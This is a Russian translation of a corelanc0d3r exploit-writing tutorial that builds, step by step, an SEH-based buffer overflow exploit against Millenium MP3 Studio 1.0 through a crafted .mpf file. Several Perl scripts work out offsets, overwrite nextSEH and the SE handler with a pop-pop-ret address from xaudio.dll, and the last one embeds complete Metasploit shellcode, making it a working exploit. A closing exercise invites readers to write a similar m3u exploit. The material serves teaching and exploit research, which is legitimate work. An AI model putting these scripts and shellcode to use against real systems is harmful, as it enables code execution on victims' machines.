Exploit writing tutorial part 3b - SEH Based Exploits - just another example

2011-08-13T00:00:00
ID RDOT:1641
Type rdot
Reporter p(eaZ
Modified 2011-08-13T00:00:00

Description

Автор: Peter Van Eeckhoutte (corelanc0d3r)
Перевод: p(eaZ
8/2011

В предыдущей части руководства я объяснил основы создания SEH-эксплойтов. Я упомянул, что в самом простом случае полезная нагрузка SEH-эксплойта имеет такую структуру:

[junk][nextSEH][SEH][Shellcode]

Я указал, что SEH должен быть перезаписан указателем на "pop,pop,ret", и что nextSEH должен быть переpfписан 6 байтами, чтобы перепрыгнуть через SEH… Конечно, эта структура была основана на логике SEH-уязвимости, и более применима к уязвимости в Easy RM to MP3 Player. Таким образом, это только пример демонстрирующий концепцию уязвимости в SEH, при которой вы должны видеть значения всех регистров, использовать контрольные точки, и т.п., чтобы определить область для полезной нагрузки и самого шеллкода. Наблюдая за стеком строили структуру полезной нагрузки…

Иногда вам может улыбнуться удача, и полезная нагрузка может быть построена почти мгновенно. Иногда вам не хватает везения, и вы прикладываете намного больше усилий для того, чтобы эксплойт мог стабильно работать в нескольких версиях ОС. Иногда вы будете прибегать к использованию жесткой адресации потому, что это будет единственный способ сделать рабочий эксплойт. В любом случае, большинство эксплойтов различны между собой, т.к. это ручная работа, основанная на определенных свойствах уязвимости и доступных методов для её эксплуатации.

В данной части руководства мы рассмотрим создание эксплойта для уязвимости, которая была обнаружена в Millenium MP3 Studio.

В PoC скрипте (вероятно основанном на значениях регистров) говорится о том, что уязвимость легко эксплуатировать, но автор находки этого сделать не смог.

Основываясь на значениях регистров, которые показал “Hack4love”(автор найденной уязвимости), можно было предположить, что это типичное стековое переполнение, где EIP перезаписан мусором. Таким образом, вы должны найти смещение к EIP, найти полезную нагрузку в одном из регистров, и перезаписать EIP “переходом к …”, так? Хмм… Не совсем.

Давайте разбираться. Создайте файл с “http://” … +5000 A, и запустив его в приложении, через windbg, посмотрим, что произойдет.

Код:

#!usr/bin/perl
my $sploitfile="c0d3r.mpf";
my $junk = "http://";
$junk=$junk."A"x5000;
my $payload=$junk;
print " [+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;close (myfile);
print " [+] File written\n";
print " [+] " . length($payload)." bytes\n";

Откройте windbg и запустите mp3studio. Запустите выполнение программы и откройте файл.

Нарушение доступа (Access violation), но значения регистров никак не соответствуют заявленным в PoC-скрипте. Значит, любая длина буфера является неправильной (чтобы вызвать типичное перезаписывающее EIP переполнение стека), или эта уязвимость основана на SEH. Посмотрим на SEH-цепочку, чтобы определиться:

так, хорошо. И SE Handler и nextSEH перезаписаны. Значит, это будет SEH-эксплойт.

Создайте другой файл с шаблоном из 5000 символов при помощи утилиты из Metasploit, чтобы определить смещение к nextSEH и SE Handler’у:

Теперь SEH-цепочка выглядит так:

Таким образом SE Handler был перезаписан на 0×39466830 (little endian, помните), и next SEH был перезаписан на 0×67384667

  • SE Handler: 0?39466830 = 9Fh0 (смещение по шаблону - 4109)
  • nextSEH: 0?67384667 = g8Fg (смещение по шаблону - 4105)

Это уже имеет какой-то смысл.

Теперь, для типичного SEH-эксплойта, вы сделаете следуещее:

  • в начале 4105 символов мусора(junk) (избавившись заранее от небольшого количества ненужных символов, таких как два слеша после http:, и добавив несколько A, чтобы держать количество символов в группах по 4);
  • перезапишите nextSEH на jump-код (0xeb, 0?06,0?90,0?90), чтобы перепрыгнуть через SE Handler и попасть в шелллкод;
  • перезапишите SE Handler указателем на pop,pop,ret;
  • поместите шеллкод (окруженный nop’ами в случае необходимости) и добавите больше данных, если потребуется;

или perl-скрипт (использующий некоторое подставные данные для того, чтобы проверить смещения):

Код:

#!usr/bin/perl
my $totalsize=5005;
my $sploitfile="c0d3r.mpf";
my $junk = "http:AA";
$junk=$junk."A" x 4105;
my $nseh="BBBB";
my $seh="CCCC";
my $shellcode="D"x($totalsize-length($junk.$nseh.$seh));
my $payload=$junk.$nseh.$seh.$shellcode;
print " [+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;
close (myfile);
print " [+] File written\n";
print " [+] " . length($payload)."

Крах:

Таким образом, SE Handler был перезаписан на 43434343 (4 C, как и ожидалось), а nextSEH был перезаписан на 42424242 (4 B, как и ожидалось).
Давайте заменим SE Handler указателем на pop,pop,ret, и nextSHE заменим четырьмя контрольными точками.
Обратите внимание на список загруженных модулей и попытайтесь найти в одном из них последовательность pop,pop,ret. (Вы можете использовать плагин Ollydbg "SafeSEH", чтобы увидеть, собраны ли модули с safeSEH или нет).
xaudio.dll, одна из прикладных dll, содержит многократные pop,pop,ret. Мы будем использовать этот 0x1002083D:

Код:

#!usr/bin/perl
my $totalsize=5005;
my $sploitfile="c0d3r.mpf";
my $junk = "http:AA";
$junk=$junk."A" x 4105;
my $nseh="\xcc\xcc\xcc\xcc"; #контрольная точка
my $seh=pack('V',0x1002083D);
my $shellcode="D"x($totalsize-length($junk.$nseh.$seh));
my $payload=$junk.$nseh.$seh.$shellcode;#
print " [+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;
close (myfile);
print " [+] File written\n";
print " [+] " . length($payload)." bytes\n";

При первом нарушении доступа (Access violation) мы направим исключение назад к приложению. pop,pop,ret был выполнен, и вы должны закончить на коде контрольной точки (в nseh).

Где теперь наша полезная нагрузка? Это должно быть похоже на большое количество D (после seh)…, но это могут быть и A (из начала буфера). Давайте поределят.Если полезная нагрузка находится после seh, (и приложение остановилось на контрольной точке), то EIP должен теперь указывать на первый байт nextSEH (код контрольной точки), и таким образом дамп eip долеж показать nseh, сопровождаемый seh, после которого идет шеллкод:

Это выглядит многообещающе, однако мы видим некоторые нулевые байты после первых 32 байт. Значит, у нас есть 2 варианта: использовать 4 байта кода в nseh, чтобы перепрыгнуть через seh, и затем использовать те 16 байт, чтобы перепрыгнуть через нулевые байты. Или же сделать переход непосредственно из nseh в шеллкода.
Во-первых, давайте проверим, что мы действительно смотрим в начала шеллкода (заменяя первые D какими-нибудь легко узнаваемыми данными):

Код:

#!usr/bin/perl
my $totalsize=5005;
my $sploitfile="c0d3r.mpf";
my $junk = "http:AA";
$junk=$junk."A" x 4105;
my $nseh="\xcc\xcc\xcc\xcc";
my $seh=pack('V',0x1002083D);
my $shellcode="A123456789B123456789C123456789D123456789";
my $junk2 = "D" x ($totalsize-length($junk.$nseh.$seh.$shellcode));
my $payload=$junk.$nseh.$seh.$shellcode.$junk2;
print " [+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;close (myfile);
print " [+] File written\n";
print " [+] " . length($payload)." bytes\n";

Хорошо, это начало шеллкода, но в нем есть небольшое "отверстие" после первых двух байт…
Скажем, мы хотим перепрыгнуть через отверстие, и начать шеллкод с 4 NOP’ов (таким образом мы можем поместить свой реальный шеллкод в 0012f9c0…, используя всего 24 NOP’а перед шеллкодом), тогда мы должны сделать скачок (от nseh) на 30 байт. Это - 0xeb, 0x1e:

Код:

#!usr/bin/perl
my $totalsize=5005;
my $sploitfile="c0d3r.mpf";
my $junk = "http:AA";
$junk=$junk."A" x 4105;
my $nseh="\xeb\x1e\x90\x90"; #прыжок на 30 байт
my $seh=pack('V',0x1002083D);
my $nops = "\x90" x 24;
my $shellcode="\xcc\xcc\xcc\xcc";
my $junk2 = "D" x ($totalsize-length($junk.$nseh.$seh.$nops.$shellcode));
my $payload=$junk.$nseh.$seh.$nops.$shellcode.$junk2;
print " [+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;close (myfile);
print " [+] File written\n";
print " [+] " . length($payload)." bytes\n";

Открыв mpf файл, вы должны быть остановлены в контрольной точке (в 0x0012f9c0) после прохождения первого исключения:

Хорошо, теперь замените контрольные точки в коде на реальный шеллкод:, тем самым завершив код эксплойта:

Код:

#!usr/bin/perl
# [+] Vulnerability : .mpf File Local Stack Overflow Exploit (SEH) #2
# [+] Product       : Millenium MP3 Studio
# [+] Versions affected : v1.0
# [+] Download          : http://www.software112.com/products/mp3-millennium+download.html
# [+] Method        : seh
# [+] Tested on         : Windows XP SP3 En
# [+] Written by        : corelanc0d3r  (corelanc0d3r[at]gmail[dot]com
# [+] Greetz to         : Saumil & SK
# Based on PoC/findings by HACK4LOVE ( http://milw0rm.com/exploits/9277 
# -----------------------------------------------------------------------------
#                                               MMMMM~.
#                                               MMMMM?.
#    MMMMMM8.  .=MMMMMMM.. MMMMMMMM, MMMMMMM8.  MMMMM?. MMMMMMM:   MMMMMMMMMM.
#  MMMMMMMMMM=.MMMMMMMMMMM.MMMMMMMM=MMMMMMMMMM=.MMMMM?7MMMMMMMMMM: MMMMMMMMMMM:
#  MMMMMIMMMMM+MMMMM$MMMMM=MMMMMD$I8MMMMMIMMMMM~MMMMM?MMMMMZMMMMMI.MMMMMZMMMMM:
#  MMMMM==7III~MMMMM=MMMMM=MMMMM$. 8MMMMMZ$$$$$~MMMMM?..MMMMMMMMMI.MMMMM+MMMMM:
#  MMMMM=.     MMMMM=MMMMM=MMMMM7. 8MMMMM?    . MMMMM?NMMMM8MMMMMI.MMMMM+MMMMM:
#  MMMMM=MMMMM+MMMMM=MMMMM=MMMMM7. 8MMMMM?MMMMM:MMMMM?MMMMMIMMMMMO.MMMMM+MMMMM:
#  =MMMMMMMMMZ~MMMMMMMMMM8~MMMMM7. .MMMMMMMMMMO:MMMMM?MMMMMMMMMMMMIMMMMM+MMMMM:
#  .:$MMMMMO7:..+OMMMMMO$=.MMMMM7.  ,IMMMMMMO$~ MMMMM?.?MMMOZMMMMZ~MMMMM+MMMMM:
#     .,,,..      .,,,,.   .,,,,,     ..,,,..   .,,,,.. .,,...,,,. .,,,,..,,,,.
#                                                                   eip hunters
# -----------------------------------------------------------------------------
#
# Script provided for educational purposes only.
#
#
#
my $totalsize=5005;
my $sploitfile="c0d3r.m3u";
my $junk = "http:AA";
$junk=$junk."A" x 4105;
my $nseh="\xeb\x1e\x90\x90";  #прыжок на 30 байт
my $seh=pack('V',0x1002083D);  #pop pop ret из xaudio.dll
my $nops = "\x90" x 24;
# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
my $shellcode="\x89\xe6\xda\xdb\xd9\x76\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b" .
"\x58\x50\x44\x45\x50\x43\x30\x43\x30\x4c\x4b\x51\x55\x47" .
"\x4c\x4c\x4b\x43\x4c\x45\x55\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x47\x50\x45\x51\x4a" .
"\x4b\x51\x59\x4c\x4b\x50\x34\x4c\x4b\x45\x51\x4a\x4e\x50" .
"\x31\x49\x50\x4d\x49\x4e\x4c\x4c\x44\x49\x50\x42\x54\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x48\x42\x4a\x4b\x4b" .
"\x44\x47\x4b\x51\x44\x47\x54\x45\x54\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x46\x44\x43\x31\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x51" .
"\x34\x45\x54\x48\x43\x51\x4f\x50\x31\x4a\x56\x43\x50\x51" .
"\x46\x45\x34\x4c\x4b\x47\x36\x46\x50\x4c\x4b\x47\x30\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x45" .
"\x58\x4b\x39\x4b\x48\x4b\x33\x49\x50\x43\x5a\x46\x30\x42" .
"\x48\x4a\x50\x4c\x4a\x44\x44\x51\x4f\x42\x48\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x51\x47\x4b\x4f\x4a\x47\x42\x43\x45" .
"\x31\x42\x4c\x45\x33\x45\x50\x41\x41";
my $junk2 = "D" x ($totalsize-length($junk.$nseh.$seh.$nops.$shellcode));
my $payload=$junk.$nseh.$seh.$nops.$shellcode.$junk2;
#
print " [+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;
close (myfile);
print " [+] File written\n";
print " [+] " . length($payload)." bytes\n";

pwned!

Упражнение

У меня есть небольшое упражнение для вас: попытайтесь написать рабочий эксплойт для m3u файла, и посмотрите, сможете ли вы найти способ заменить EIP-переполнение на SEH.

Примечание: шеллкод не должен быть помещен после nseh/seh. Он должен быть помещен в первую часть буфера полезной нагрузки, и вы при этом можете использовать:

  • маленькое буферное пространство, чтобы записать какой-либо jump-код, таким образом, перейти к реальному шеллкоду.
  • жесткую адресацию (если ничего больше не помогает) SEH-эксплойт для m3u файлов почти идентичен mpf версии, поэтому я не стану сейчас это описывать.

Если вы хотите обсудить это упражнение, пожалуйста, зарегистрируйтесь и создайте топик на форуме: http://www.corelan.be:8800/index.php/forum/writing-exploits/.

Статья с бб-кодами для копипаста.